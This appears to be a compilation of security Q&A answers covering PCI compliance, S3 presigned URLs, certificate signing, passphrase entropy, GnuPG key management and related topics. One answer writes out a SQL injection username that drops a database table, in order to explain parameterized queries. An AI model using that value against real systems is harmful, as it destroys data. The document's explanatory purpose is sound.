How to verify that Google's apt signing key change is not malicious?

I'd get in touch with the maintainers and ask for the fingerprint of their valid key and whether it has (or should have) changed.

The short answer, given this security model, is don't use the new key until you can verify it.


Can session data be manipulated without access to source code

yes, trivially.  If I understood correctly the session variable will be at points sent back from client-side?

Have a go with tamperdata.


Major differences between Kali and SecurityOnion

Your question spreads out into broader IT operations and virtualisation, which is not really within the scope of this site (you might want to ask those questions at Serverfault).

As for the Kali/Security Onion questions.  Kali is primarily an offensive security distribution for Penetration Testing and research and Security Onion is a defensive distribution for Network Security Monitoring.

There is little value in integrating the two for most users, as network defenders and attackers are almost mutually exclusive.  The main reason for this is that it is generally inappropriate for someone who built a system and designed its security controls to attempt to break it, they do not have "fresh eyes" to see flaws.  In the same vein, a penetration tester should be providing an independent assessment of the security of a system, if they perform security configuration or network defence on that system, that independence is suspect.

I wouldn't consider any of the distros you have listed as "critical to the infosec community".  Useful for training purposes, yes, but not critical.  That includes Kali, I don't know that many pen testers who run Kali as their main pen testing platform.  Most I know prefer to roll their own and install the tools they want.


Would the following practice make email PCI compliant?

To make anything PCI-DSS compliant you'll have to go further than just defining some tech specs and leave it at that. PCI-DSS wants you to OPERATE a secure environment, not just design it.

So let's break it down.

You want to regularly send e-mails containing one or more PANs to one or more authenticated parties.
You've thought up a method of sending these emails over an encrypted transport and you'll encrypt the specific e-mails too.

To make this work you'll probably have to do the following, next to all the PCI-DSS related things you're already doing:

Check and/or update your Security Policy to allow PANs to be transported out of the CDE this way, with requirements for the exact method.
Determine who you are sending these e-mails to

For employees of the same entity, you're going to have to include their machines in the PCI-DSS scope (config standards, proper network config, disk encryption, vuln scans, the works) and train these employees on proper usage of the system according to PCI-DSS standards. Since your email server will store these emails it may come in to scope, too; discuss with QSA/consultant.
If the recipients are suppliers of some sort, make sure your contract with them states that they need to be either PCI-DSS compliant (if they participate in CC processing somehow) and/or need to sufficiently protect the data you are sending them. If they need to be PCI-DSS compliant, collect their AOC annually.
If the recipients are customers/merchants, your acquirer is probably going to want you to manage their PCI-DSS status too. Collect AOC or SAQ annually.
In both cases, you probably want to agree on some sort of retention period.

Design and implement processes to manage (rotate after a period,revoke in case of compromise,generally replace) the encryption keys used to send these e-mails, probably also those of the recipients (if you use PGP). See chapter 3 of PCI-DSS:

A way to authenticate/verify/enroll/unenroll recipients and the keys used for them
Have a secure way of dealing with the encryption keys within your application (private key needs to be encrypted, encryption passphrase can't be stored on the same server: will probably need split control to work with)
A process to assess if the used technology is still valid and a way to move forward when it's considered insufficient

Design and implement the actual product according to the change process:

Make sure you don't store unencrypted versions of the email in tempfiles or logs
Having a way of knowing what you sent where may help in case of issues
Have the system properly tested (also for security issues)

Have a (incident) process in place to deal with rogue/compromised recipients, compromised keys, etc.

It may be worth the effort to try and come up with a different solution that makes things easier for you. Why send PANs out if you can have people come to your system? That may be easier to deal with.


Meterpreter commands not working in shell

Simply, you cannot do that.
You sat up multi/handler with meterpreter reverse_tcp as payload and then you're gone to your victim machine and visited it like a website.
See, the multi/handler expect a connection from a meterpreter payload not from a web browser. That's why you couldn't execute anything.
To back up what I said, try it another time without the j and z options.
When you go to your windows machine and visit your attack box, you will see that the connection is dropped after the user-agent string is showing.


Compiler checks are performed in the test HRDN-7220 which is defined in the include/tests_hardening file.

The tests itself are performed by the include/binaries file and the variable COMPILER_INSTALLED is set when the following files are found within the $PATH variable:

as
g++
gcc

So in short, when Lynis reports that compilers are installed, you have to check the above three files within the PATH directories.


How to make S3 Presigned url single use only?

Solution #1 is viable but only if the source bucket is versioned and the Lambda function writes to a database that supports strongly consistent reads, because that's the only way you can tell authoritatively whether you're doing it "only once for the first time."

When you ask S3 about the existence of an object for the very first time ever using a GetObjectMetadata/HeadObject request, you are guaranteed to get an accurate answer -- the object exists, or it doesn't.  Subsequent requests within a "short" (but undocumented) time may not reflect the latest truth from the bucket's master index.

  Amazon S3 provides read-after-write consistency for PUTS of new objects in your S3 bucket in all Regions with one caveat. The caveat is that if you make a HEAD or GET request to a key name before the object is created, then create the object shortly after that, a subsequent GET might not return the object due to eventual consistency.

  https://docs.aws.amazon.com/AmazonS3/latest/dev/Introduction.html

"a subsequent GET might not return the object" means by inference that the Lambda invocation for upload #2 has no guaranteed way to authoritatively determine that it is indeed not handling the first upload of the object, because the target object may appear to be absent when it is in fact already present.

If it is of significant importance that only one upload -- the first upload -- actually be used, then an external database is required.

The Lambda cold start issue is pretty insignificant in languages with a lightweight environment like Javascript, which coincidentally has an SDK that is much better written than most other languages.  Python is fast, too, but the SDK is inferior.  Java should be avoided in Lambda functions unless you are repurposing existing Java code.

This would be the solution I would adopt, but I would note that the 15 minute expiration should be unnecessary.  The expiration time of a pre-signed URL is as precise as the clock on the system running the code that generated the URL, so if your server clock is accurate and you generate a URL that expires in 10 seconds, then that URL expires in exactly 10 seconds from the time it was created.

Also potentially noteworthy, the expiration time on a pre-signed URL is checked when the request arrives at S3.  You shouldn't need to finish the upload in 10 seconds, you only need to start the upload within 10 seconds.  This is at least true for download pre-signed URLs... but should be true for uploads as well.

Modifying your code to look at a specific version is a non-starter, because querying S3 to learn that version ID each time is slow and costly.


You don't need to be worried, unless your setup is insecure.

The first requests search for a proxy judge such as http://azenv.net/. The second table shows vulnerability scanners searching for incorrectly configured or outdated applications. This is quite normal "noise" and effects almost any dedicated server IP.

You could try to block them, but there are so many that it's not worth the effort. Just make sure that any login page has a reasonable limit on the maximum login attempts in a given time and that your software is uptodate. Also things like phpmyadmin shouldn't be publicly accessible.


how one can find out sub-domains of a domain without brute-force?

There are a bunch of tricks for subdomain discovery:

Brute force.
The CNAME and PTR DNS records may contain the name of a different subdomain.
The MX and SPF records contain information about mail servers, which may be subdomains.
Looking at zone transfer records (AXFR). These can contain subdomain names for the purposes of replication.
HTTPS certificates for the parent domain or other subdomains may be issued against multiple subdomains. The "Certificate Subject Alt Name" record is the most common place to find them; for example, you can look at Amazon UK's certificate and see "www.amazon.co.uk", "uedata.amazon.co.uk", and "amazon.co.uk" in the subject alt name record.
Certificate transparency records can be searched and may turn up subdomains or other associated domains.
If you know that a domain points to an IP address within a block of IPs that is owned by the company of interest, you can perform reverse DNS scanning of each IP in that block in order to try to discover new domains.
Use whois to identify the owner of the domain (unless they enabled WhoisGuard) and then use a reverse whois service to search for that person's email.
Google (or Bing, DDG, StartPage, etc.) for it! You'll often find they indexed a subdomain.

There's a tool called dnsrecon which might be useful in trying some of these tricks out in an automated fashion.


Yes, you're likely infected. The services.exe process you mention is highly suspicious, and when you combine that with the intrusion attempt via VNC, it's pretty definitive. Assume all your data has been stolen, nuke it from orbit, start over, then change all of your passwords to everything. They're all compromised.

Next time, use source address whitelisting on your VNC, properly configure your firewall, and preferably set up certificate-based authentication instead of using passwords.


Where does Google search take my geolocation from?

In Google Support, you can find next:

  Google automatically detects your computer’s location using its IP
  address, Location History (if it’s turned on), and recent locations
  you’ve searched for.

How Google uses your IP address

  Your IP address is usually based on a real-world location, so Google
  might use your IP address to guess where you are and give you local
  results.

  For example, Google could use your IP address to give you the weather
  forecast for the town you're in when you search for weather.

For location history, you can check here. And for recent locations here.

Also, I will not be surprised if Google did a "wardriving" in Hungary (while working on Google street project) - Source, so based on that, it can be possible to determine almost exact location.

This peace of Python code is old and doesn't work anymore, but it can give you an idea for what I'm taking right here.

Connect to your Wi-Fi and run this code (:

function showPosition(position) {
    var latlon = position.coords.latitude + "," + position.coords.longitude;

    var img_url = "https://maps.googleapis.com/maps/api/staticmap?center=
    "+latlon+"&zoom=14&size=400x300&sensor=false";

    document.getElementById("mapholder").innerHTML = "<img src='"+img_url+"'>";
}


RFC2986: PKCS #10: Certification Request Syntax Specification describes CSRs in detail. The overview answers most of your questions:
The process by which a certification request is constructed involves the following steps:

        1. A CertificationRequestInfo value containing a subject
           distinguished name, a subject public key, and optionally a
           set of attributes is constructed by an entity requesting
           certification.

        2. The CertificationRequestInfo value is signed with the subject
           entity's private key.  (See Section 4.2.)

        3. The CertificationRequestInfo value, a signature algorithm
           identifier, and the entity's signature are collected together
           into a CertificationRequest value, defined below.

So to take your questions one by one:

How are the bytes after the "Signature Algorithm" field calculated?

This is the signature itself, computed over the CSR data (in ASN.1 format, not the friendly text version shown by openssl) using the specified Signature Algorithm and the private key of the requester (here: Subject).

Which key is used?

The private key of the Subject is used to compute the signature. It can be verified using the public key (as found in the Subject Public Key Info field)

Which fields of ca.csr are signed?

All data in the CSR is signed. The data of course does not include the signature itself (that would be tricky).

Is it possible to extract the signature and decode it (e.g. using openssl)?

What you see is the hexadecimal representation of the signature bytes. Other than changing it into raw bytes, there is not much more to do with it.
However, you can verify it with openssl using the following:
$ openssl req -verify -in ca.csr -noout
verify OK

If I modify a single character in the CSR, the output becomes:
$ openssl req -verify -in ca.csr -noout
verify failure
140678320674112:error:0407008A:rsa routines:RSA_padding_check_PKCS1_type_1:invalid padding:../crypto/rsa/rsa_pk1.c:66:
140678320674112:error:04067072:rsa routines:rsa_ossl_public_decrypt:padding check failed:../crypto/rsa/rsa_ossl.c:588:
140678320674112:error:0D0C5006:asn1 encoding routines:ASN1_item_verify:EVP lib:../crypto/asn1/a_verify.c:170:

And for your final question about the certificate itself:

why is the signature different from the one in the CSR?

The signatures are different because the data itself is different (look at the fields listed in the CSR vs those in the certificate).
In normal workflows, the Subject and Issuer are separate entities with different keys (using the same key twice is just a convenient shortcut for self-signed certificates). The signature algorithm could also be different. All of these will yield different signatures.


Does FedRAMP apply to the cloud hosting environment, the software being hosted, or both?

REF: https://www.fedramp.gov/faqs/

It looks to me like you  need to have everything authorized.

  If an Agency purchases an outsourced service (software) that is built
  on top of a cloud platform, how is that handled within FedRAMP?

  Obtaining a FedRAMP authorization requires all system components be
  assessed based on the control requirements in the FedRAMP baseline. If
  a FedRAMP authorized IaaS is leveraged, the Agency only needs to
  assess controls that are not addressed by the managed IaaS provider.
  If a SaaS is hosted on a FedRAMP-authorized IaaS, the SaaS vendor
  would need to have a separate FedRAMP authorization. The IaaS
  authorization would remain as-is and then the SaaS would
  leverage/re-use the IaaS authorization and applicable security
  controls (for the IaaS portion of requirements). If a SaaS or PaaS is
  leveraging a non-FedRAMP authorized infrastructure, then the entire
  FedRAMP stack would need to be authorized together.


How can I convince my communication partner to use encryption in everyday life?

The problem isn't so much awareness of the risk.  I'm sure some (many?) people still don't know that e-mails can be intercepted, however an increasing number do know and they simply don't care.  The amount of resources needed to be able to compromise e-mails is still relatively high and the threat isn't seen as all that serious by non-government entities.

Most people don't particularly care if the government has access to their e-mails, even relatively sensitive ones, because they don't see the government doing anything with them.  It has no detrimental impact on their life, nor does it realistically have much of any potential to have a detrimental impact on their life.

Trying to use encryption, on the other hand, does have a detrimental impact as it requires further study, time and effort, both to learn and to use properly.  It simply isn't a smart trade off for most people.  The threat is too small and the cost of avoiding it too great (and I'd argue, rightfully so for the vast majority of people).

There is already an ever increasing awareness not to send things like passwords by e-mail and other means exist that people can use such as uploading files to a secure file sharing site rather than trying to attach them to an encrypted e-mail.  This isn't necessarily because they are security conscious, it is just easier due to e-mails not handling attachments particularly well.

Unless there is a real and measurable threat with a cost to failure, paying a cost to protect yourself from a threat that won't cost you much, if anything, is not a good way to balance your resources.  Security is a lot like insurance.  It is about balancing the cost of protecting yourself from the potential cost of a compromise and for most people, encrypted e-mails is a bit like buying extended warranties.  It's over paying for protection you most likely won't need or use.


Why should one bother encrypting the harddisk in linux if one can easily recover the root password?

If you have physical access to a machine, it's pretty straightforward to recover the root password thereby skipping the whole point of having an encrypted drive.

You might be mixing things up here. Root passwords and full-disk encryption passwords are not the same thing. At least they shouldn't be.

Root passwords are what you use to log in as root/admin on your operating system.
Full disk encryption is the password used to decrypt the hard-drive so you can even use it.

If someone has physical access to your device, and they don't have your disk encryption password, they cannot unlock the hard drive, and can't get any usable data from it. It'll be garbage.

Even if someone has your root password, they should not have your FDE password, unless you're using the same password for each, which in case, you have an incorrect security setup.


What's wrong with storing private keys in the cloud?

Anything which is encrypted with PBE (as in "Password Based Encryption") can be the subject of an offline dictionary attack (i.e.: the attacker tries potential passwords). This is a worry unless you have a super-strong password, which is not as easy as it can seem because you also have to remember it, and to type it regularly (if you note it down somewhere, it is not really super-strong). Shortcomings of not-so-strong passwords can be somewhat mitigated by using heavyweight Key Derivation Functions such as bcrypt.

"Strong enough" means "having an entropy of 128 bits or more" which means "the password generation scheme you used may have generated at least 2128 other distinct passwords" -- so we are not talking about 8 or 10 characters, rather 20 completely random characters, or a list of 10 randomly chosen "common words". Speaking of which, it is meaningless to insist on AES-256 in that situation: AES-128 will be already fine (i.e. the weakness will be the password, not the AES).

If you have a strong enough password, you can store in the cloud whatever confidential data you wish, encrypted relatively with this password, including private keys. You still have to trust the cloud manager for not losing your files, but, on average, data is safer in the cloud than in the entrails of an expensive mobile phone that you brandish when walking in the street (remember, mobile phones are stolen even more often than cars). Unless the cloud manager has a grudge against you, of course.


A second order SQL injection is an injection where the payload is already stored in the database (instead of say being delivered in a GET parameter). In that sense it is somewhat similar to stored XSS (and ordinary "first order" SQL injection would be analogous to reflected XSS).

How does it work? Lets say you let users pick any username. So an attacker could choose the name '; DROP TABLE Users; --. If you naively concatenate this username into your SQL query to retrieve information about that user you have a problem:

sql = "SELECT * FROM Users WHERE UserName = '" + $username + "'";

So, how do you deal with this?

Always use parametrized querires, always, always, always. Treat all variables as untrusted user data even if they originate from the database. Just pretend everything is GET parameters, and behave accordingly by binding them as parameters.

You can also sanitize and limit the input (e.g. only allow alphanumeric usernames) before it is stored in the database as well as after it is retrieved from the database. But I would not rely on that as my only line of defence, so use parametrized queries as well.


What usually happens to the symmetric (session) key after decrypting an email? Can the key be recovered if changing private keys?

The general and normal solution, as commented, is that the recipient retains old privatekeys to decrypt old messages, even though the corresponding publickeys have expired (or even been revoked). In fact in some organizational settings the privatekeys used for decryption are backed-up by the organization so that email can still be read if the individual(s) to whom it was sent leave(s) or die(s). (In tech this is sometimes called a 'bus factor' -- if an employee with key information and/or abilities is hit by a bus and killed, can the organization continue operating without them?) In contrast privatekeys used for signing are not subject to this requirement; if a person leaves, the new person should publish a new signing key which recipient(s) accept as valid, but should not be able to make it appear the old person signed something they actually didn't. BTW these approaches apply to both PGP and S/MIME, although the method of publishing a new key differs somewhat.
GnuPG (one implementation of PGP) has a feature intended for a slightly different case: see --show-session-key et seq in
https://www.gnupg.org/documentation/manuals/gnupg/GPG-Esoteric-Options.html . The idea is that if you are forced to disclose some of your email -- for example in a lawsuit -- instead of giving the privatekey that allows decryption of all your (past) messages you can give the DEK(s) for a specific message(s).


Is it ok from the viewpoint of PCI DSS to send credit card info to my own server which then directly sends it to PayPal?

Your PAN data is encrypted in HTTPS and meets the requirement as long as your API is sending via HTTPS and using TLS. SSL is no longer supported as of PCI 3.1. In June 2016, TLSv1.0 (and possibly TLSv1.1) will no longer be supported either. That being said, your server is the area of concern for most PCI auditors. The server has the ability to read and decrypt the data for processing. You will need to review the large list of requirements for systems where cardholder data is stored. One of the areas you will definitely need to address is the following:

Technical Guidelines for Protecting Stored Payment Card Data At a
minimum, PCI DSS requires PAN to be rendered unreadable anywhere it is
stored – including portable digital media, backup media, and in logs.
Software solutions for this requirement may include one of the
following:

One-way hash functions based on strong cryptography –
also called hashed index, which displays only index data that point to
records in the database where sensitive data actually reside.
Truncation – removing a data segment, such as showing only the last
four digits.
Index tokens and securely stored pads – encryption
algorithm that combines sensitive plain text data with a random key or
“pad” that works only once.
Strong cryptography – with associated
key management processes and procedures. Refer to the PCI DSS and
PA-DSS Glossary of Terms, Abbreviations and Acronyms for the
definition of “strong cryptography.”

See: https://www.pcisecuritystandards.org/pdfs/pci_fs_data_storage.pdf


How does Google Chrome manage trusted root certificates

As noted in the Chromium documentation (on which Google Chrome is based) on the Root Certificate Policy, chrome has a list of "not trusted" root ca to which Google can add the incriminated CA.

  In the case of a compromise of a root certificate authority, Google reserves the right to add that root certificate to the list of root certificates that Google Chrome will not trust

(emphasis mine)


How secure is the getapassphrase.com approach to password generation?

Probably better than any password you can come up with.
The idea is very similar to Diceware, where you take a word list and a few dice and you generate arbitrary long phrases, such as hotel qz juan shinto may. This is easier to remember than a truly random password, but still has the entropy of the dice throws behind it. In fact, it has roughly 64 bits of entropy.
The downside is that it is still somewhat hard to remember for some people. I, for example, like to visualize these things, so that's a bit difficult for me. As such, patterns might be able to help. By ensuring passphrase always follows a grammatical structure, we can make a passphrase easier to remember, while still maintaining the same level of entropy.
How is that still secure?
When calculating the randomness of Diceware, it was a relatively simple formula: Take the number of individual words and take it to the power of the number of words. Since there are 7776 possible words, and I chose 5, that's 7776^5. The base-2 logarithm of that happens to be around 64.
For words with a pattern, it's similar. If the pattern is [adjective] [noun] and [adjective] [noun] [verb] [adjective] [noun] in [location], then we can multiply them all together, which means the formula is
[Nr. of adjectives]^3 * [Nr. of nouns]^3 * [Nr. of verbs] * [Nr. of locations]

Those are 8 individual tokens, a number I am certain was not chosen arbitrarily, which means we can feed 64 bits of entropy randomly into it, which means 8 bits of entropy can be used for each field.
That means there need to be 256 different adjectives, nouns, verbs and locations and you will get a passphrase with 64 bits of entropy.
How could this work?
I don't know how the system works behind the scenes, but here is one possible way:
The system begins by drawing 64 random bits from a random number generator, such as:
0101011111011110011110000100110000101111101100001010101011010010

If this were your password, you would have exactly 64 bits of entropy, even if an attacker would know it was just 0's and 1's.
Next, the system splits the bits into groups of 8 and assigns each "token" 8 of these bits, as shown below.
01010111 11011110 01111000 01001100 00101111 10110000 10101010 11010010
[adj. 1] [noun 1] [adj. 2] [noun 2] [verb  ] [adj. 3] [noun 3] [locat.]

Then, the system checks its list of adjectives, which has 256 entries. 01010111 to decimal is 87, so it checks the corresponding entry. Let's say the first adjective is excited. Then it checks it's first noun, which is 11011110 222. Let's say the corresponding noun is racecar. The process continues until all groups of 8 bits are assigned.
Should I be using this now?
I'd give it a 3.6 / 5. While it is certainly better than ThisIsMyPassword or 1234abcd!, it has the downside that you still need to remember it, which can be hard for some people, especially seniors.
Furthermore, it means you have to trust the service that creates these passphrases. The owner could, for instance, store all the passwords that were ever generated, and since one password would only be 8 bytes in size, that'd just take 61 GB to store the password of every person on earth. Is that likely? Probably not, but you also can't prove that it's not the case. There are some bad actors out there after all.
In both of these cases, an offline password manager may be advantageous. This would allow you to generate your passwords locally, and store them locally as well. A simpler, less complex passphrase can then be used to secure that local password database.


What is a good way to demonstrate the insecurity of common bad practices?

So I am currently a student and have taught in a Security Club I have for a few years. Every year we start from square one and I end up teaching the same things over again. Here is some of the things I cover.

The Club is a "Cyber Defense Club" but we have found it extremely important to teach the offensive side. We usually cover these.

I also try to go over why they work...

ARP Poisoning (Cain)
DNS Spoofing  (Cain)
Password Cracking (John)
Buffer Overflows (C)
Metasploit Framework (...)
Port Scanning, Banner Grabbing, and Vulnerability Scanning (nmap, nessus)
The importance of Changing Default Passwords (I use xampp and let them try to change all the default passwords. Not many people have found them all)
Firewalls (Windows, IPTables, Cisco ASA)
System Hardening (Disabling unnecessary Services, etc.)
Incident Response (I teach this for our Cyber Defense Competitions. It isn't very practical in the real world)
HoneyPots (HoneyD)
Physical Security

This is just starters what you can teach.

Applied to your question you can do a lot:

Why Not Patching is Bad (Metasploit)
Why Using LMHash is bad
Why Not Changing Default Passwords is bad
Why Using strcpy, etc. is bad.
Why leaving unnecessary services open is bad.
Why Not having a firewall is bad.
Why Not Having Logs is bad.
(MORE) Why Storing unhashed passwords is bad.
Why no physical security is bad.
(MORE) Why Not following the OWASP Top 10 is Bad.

Intro Courses are the most fun because if the professor makes it great....they are really really great and can hook the whole class. I hope I was helpful :D

edit: I just read that your course is aimed at end users. My list was for Students who want to learn Security. Still hope you can use some of it.


Only if your drive has such functionality internally built-in (which circumvents all OS and User privileges) or if you are using some sort of hardware-level lock. Other than this, it is impossible to stop a user who has both physical access and admin privileges from accessing/formatting data on your drive.

You can however, using software like Gparted, hide the drive which will prevent from writing/formatting in normal usage but I don't think it will help if someone is using a windows installation CD (or some bootable partition software).


List of unpatchable exploits in MS Exchange 2003

One of the problems with unsupported software is that you simply don't know. Not only there is nobody to fix security bugs, but there's usually nobody to even collect and disseminate vulnerability reports. The problem becomes much worse with closed-source software.

I think it would be difficult to find issues, let alone create and distribute unofficial fixes. But even if someone were to spend time finding bugs in this old product, and they are kind enough to publish an unofficial fix. How would you be able to trust that this fix is genuine and doesn't introduce a trojan into your system? With nobody accountable or at a position of authority, it's hard to know who to trust.

That said, there's still a large number of people still using Internet Explorer 6, despite warnings that it is insecure, unsupported, and generally a really bad browser :)


Is public-key encryption the correct choice?

You're talking about generating a public/private key for each user. That's overkill. Instead, make sure you're using a signed SSL certificate with TLS 1.2 (or later) for communication between the app and your server. To understand the process better, read How does SSL/TLS work?

To keep data separate, that's where something like a session comes into play (most major web programming languages support some type of session management). Sessions store data on the server end, and then gives the user a random hash of some sort. While there's always the chance of session poisoning (where I get someone else's hash), the odds are generally low. They are no higher than trying to exchange public/private keys (which will have to be done before you send any data).

Once you have a session, you can store something like a user ID inside (the user cannot directly access this and never sees it). Then, when the user requests a record, you check to see if that user is allowed to access that record and allow/deny accordingly.


Archive encrypted traffic, for later decryption attempts?

Nice question.

I'd say we can only worry, but not do much. We can secure our data by today's standards, but tomorrow might change the whole ballgame. If quantum computers really can brute-force ciphertexts at a speed magnitudes higher than what we can do now, than a 128-bit block cipher could suddenly be peanuts. But what can you do about it?

Perhaps you should not digitally transmit information that will still be sensitive/harmful in 10 years time...


Is There Any Risk When Visiting Websites Without Secure Connections If You Don't Enter Personal Info?

There are some risks to HTTP sites even if you're not entering data.
There is the privacy risk, as others have pointed out. Someone in a position to observe your traffic can see a lot more about what you are doing. E.g. if you're browsing a news site over HTTPS, they can see that you're browsing the site; with HTTP they can tell what articles. There is a lot of additional metadata visible that could be used to fingerprint you; this can allow someone to correlate the activity they can observe with other sites and potentially identify you.
But the other big risk is the lack of integrity. With plain HTTP anyone your traffic is sent through can insert malicious files. E.g. your ISP or whoever's wireless you're using can insert ads, crypto miners or other malicious content. HTTPS provides integrity protection, so if working correctly, this means that an attacker would have to compromise the destination site to do this rather than just get you to connect to their WiFi.


I am trying to create a secured policy for storing and maintaining keys between users of my company.

The following answer is based on those requirements I assume based on your post (I'll call your users employees in the following):

You need to be able to revoke employee keys.
You want to be able to decrypt information encrypted for employee.
Employees should not be able to change anything on their keys on their own.

Be aware this also stops your employees from participating in the web of trust, as they are not able to issue certifications any more (you might want or not want this). Consider letting the employees create the keys, but handing you over an encryption subkey if you require so and have them add your company key as a designated revoker. This is comparable to key handling with a company-owned X.509 PKI infrastructure.

  Currently, the idea is:

  Generate a master key per user with only the certify capability. Backup this key in a physical vault.

The certification restriction seems reasonable, so nobody is (should be) by accident encrypting for the primary key and your employees are not able to read the message.

  Generate a revocation certificate for this master key, and also store it in a physical vault.

Alternatively, you could also add some company as designated revoker. This might make handling a bunch of revocation certificates easier, and maps to what actually happens (the company revokes the employee's key):

gpg --desig-revoke [key-id]

  Generate an encryption subkey and store it in a physical vault, then move it to a Yubikey.

This seems required if you want to stay capable of reading the employee's messages. Might be a legal issue in some jurisdictions or require you to prevent any private usage of company mail addresses.

  Generate an auth subkey (for ssh) directly on the Yubikey.

Both authentication and signature subkeys can simply be exchanged if not used any more. Not holding a copy seems reasonable security-wise, all effort you have to do is distributing the new key (and possibly switch keys on servers).

Especially if you have shared infrastructure, you might even consider using monkeysphere on the servers authenticated against. Monkeysphere relies on the OpenPGP web of trust (ie., signatures by a trusted company key) on the employee's primary keys, and adds their subkeys to sshd, so you can even escrow authentication subkeys without changes to the individual servers, but it is rather uncommon and rarely used, but integrates well with GnuPG authentication subkeys used for SSH.

  Now I have a bunch of questions:

  What happens if someone leaves the company? I guess I should use the master key revocation certificate to cancel the master key and all
  its subkeys.

You only need to revoke the primary key, the subkeys are automatically invalidated if the primary key is. Remember to invalidate authentication subkeys for sshd!

Instead of using pregenerated revocation certificates (which do not include the current date, and no specific revocation reason), better use the primary key for revocation (GnuPG generates a new revocation certificate on the go).

  What happens if a user loses his Yubikey? Should I revoke the whole master key, or only the subkeys?

The primary key is safely stored in your vault, so why revoke it? Revoke the subkeys, generate a new set, and hand out a new Yubikey. The advantage is, that all incoming certifications stay valid, and you don't have to distribute a new primary key. In fact, all that need to be done is an update of the employee's key for all users.

  In case the key is lost, I would need to provide a new one to the user. Can I just import the old master+encryption key on it? and then
  what, generate a new auth ssh key? In this case why bother
  differentiating master/encryption key?

You didn't yet describe storing the primary key on your employee's YubiKeys. They're not required for day-to-day usage, better don't put it there anyway.

  How do I handle the fact that some users should share the same key? For example, the key for signing packages, or the key for
  encrypting some shared files.

OpenPGP allows to add multiple recipients for encrypted messages. Is this an alternative? Signatures might be verified through a company key that signed employee keys.

You cannot withdraw a shared key easily, all you can do is revoke it. Otherwise, you have several options:

Have some signing/decryption service. This might be a build server also signing packages for some authenticated users. There are also OpenPGP mail transfer agents that encrypt/decrypt on the go, you might use it for mapping a group encryption key to multiple users (the MTA decrypts with the private group encryption key, and reencrypts for all employee encryption keys).
Distribute the subkey to all employees as files. This will get annoying if you need to revoke a subkey (for example, one of the employees leaves), as you have to escrow the distributed key.
Distribute the subkey on OpenPGP smart cards (or YubiKeys, which implement the OpenPGP smart card protocol), so you can actually withdraw the smart card (as the key cannot be exported from the smart card). Disadvantage is, if one employee loses the key or does not hand it back after leaving the company, you still have to revoke. Managing safety of physical devices is easier, as they cannot be copied easily.
Have a shared key on a single, well-guarded smart card (which cannot get lost or stolen easily) multiple people have access to.


What are the security reasons for disallowing the plus sign in email addresses?

There is no security vulnerability per se with having a '+' in your email address.  It's permitted as per RFC 2822, and not particularly useful for SQL or other common forms of injection.

However, many systems (let's call Meetup a system for this purpose) enforce security through whitelisting, not blacklisting.  Someone defined a limited list of characters they expected to see in email addresses (probably upper, lower, numeric, ., _, and -) and wrote a filter to block anything outside that list.  And they didn't think anyone would use +, so you're out of luck.

This article describes how to set up Postfix to tag, and to use '-' instead of '+' because:

  However, during a recent discussion on the Postfix user list, it was mentioned that some websites (particularly banks) use JavaScript to try and validate email addresses when they are entered into online forms, and that many don’t allow the plus symbol as a valid character in an email address.

I switched from '+' to '-' over a decade ago, for similar reasons.


Key differences between X509 TLS Client certificate and server certificate

Structurally, client and server certs are the same. Both will need keyUsage: digitalSignature and will contain the same type of RSA or ECDSA key. They chain to an intermediate and root CA via Issuer and AIA fields in exactly the same way as server certs. They handle revocation via CRL or OCSP in exactly the same way as server certs.
However, depending on the enforcement / authorization rules in your server, you may need to put different metadata in the client certs. For example:

Server certs almost always have a SubjectAltName of type dNSName matching the public domain name at which the server can be reached. This makes absolutely no sense for a client. Often instead you see a serialNumber DN component, or one of the less common SAN types.
Your server may be configured to require client certs to have the extendedKeyUsage: id-kp-clientAuth.
Your server may enforce groups, privileges or access controls based on policy OIDs or other custom v3 extensions.

Again, these are all "may" type items and will depend on how you've built your server; though I do recommend that you think about having some kind of access control rather than blindly accept any cert from your root CA.


How to hide Kernel Symbols in Linux Kernel Image? Recompliation?

The layout of a distribution precompiled kernel is public. KASLR attempts to change the base offset of the kernel, changing all the addresses by a secret offset. Unfortunately, leaking even a single symbol will allow the rest to be calculated. Since KASLR is not nearly as secure as it is made out to be, this is a problem. The danger of KASLR bypass through infoleaks can be only slightly reduced by setting the sysctl kernel.dmesg_restrict=1 to mitigate leaks from printk(). Even still, KASLR is such a poor security feature that you can't use it to reliably hide this information from local attackers.

Compiling a kernel manually will ensure that you will be using unique symbol offsets. It is necessary to set the sysctl kernel.kptr_restrict=2 and restrict access to the kernel image itself as well as related files like the map and loadable modules. You can make attacks based on knowledge of kernel structure a bit harder if you use the RANDSTRUCT plugin from grsecurity, now in upstream.


How do attackers put malware into pirated software?

It's a bit of a broad question, as there are many different ways to do this, so I'll just mention a few that come to mind.
A simple way would be to replace the program's installer completely. This way, the installer can just replicate what the original installer does, but while also performing malicious actions. This also has the advantage of usually being run with elevated privileges.
Another simple way is to write a wrapper around the executable. When the executable is launched, the malicious code can run, and the existing application can be kicked off in parallel.
If the program ships with libraries in the form of DLLs/SOs, they could be replaced to include malicious code.
Lastly, the executable itself can be patched to include malicious code; see The Backdoor Factory, which is a tool to automate this.


Most likely a compromised system, but is there a way around it?

set the firewall to BLOCK ALL TRAFIC...

If you manage to set the firewall to block all incoming and outgoing traffic then you cut off the access for the attacker as long as the firewall is set in this mode. But note that if the attacker is already  on your system he might have installed software to monitor the system and can later retrieve the collected information once he gets access again. Also, if the attacker has compromised your system you cannot trust it anymore and cannot even be sure that firewall settings shown on the system actually reflect the real status of the firewall.

  Also, how is the actual penetration being done?

It is impossible to say with the current information how the information was done on your system. But desktop systems usually get infected because you "invite" the attacker by reading mails, surfing to web sites etc. And in this case a VPN will not help because the attack is not done from outside against your specific IP address but is done by executing code from inside a mail or web site.


Is it safe to use the same password to encrypt copies of the same data stored in different places?

strength of protection would be equal to the weakest of the passwords anyway.

Generally yes, but also depends on attacker's ability to get a hold of the encrypted data.  If they cannot get a copy of the data, then you have already won.  If they get a copy (eg from a cloud service), but that copy uses a key / password / passphrase they do not have, then they may try to brute-force it.  In this specific case, you will hope it uses a strong key and good encryption algo.  They might instead just try and steal your password, which is usually easier.

Tips:

Take special care in how the data is encrypted / decrypted so as not to leak the password, etc. A hardware device / offline computer helps reduce the attack surface.
OpenPGP keys are MUCH stronger than a password, so use that instead if possible.
If PGP key is not an option, consider a long set of truly random words in the form of a passphrase. These are generally much stronger and easier to remember.
If there is no need to have weaker password for something, then just use the same, strong system for both copies of the data.


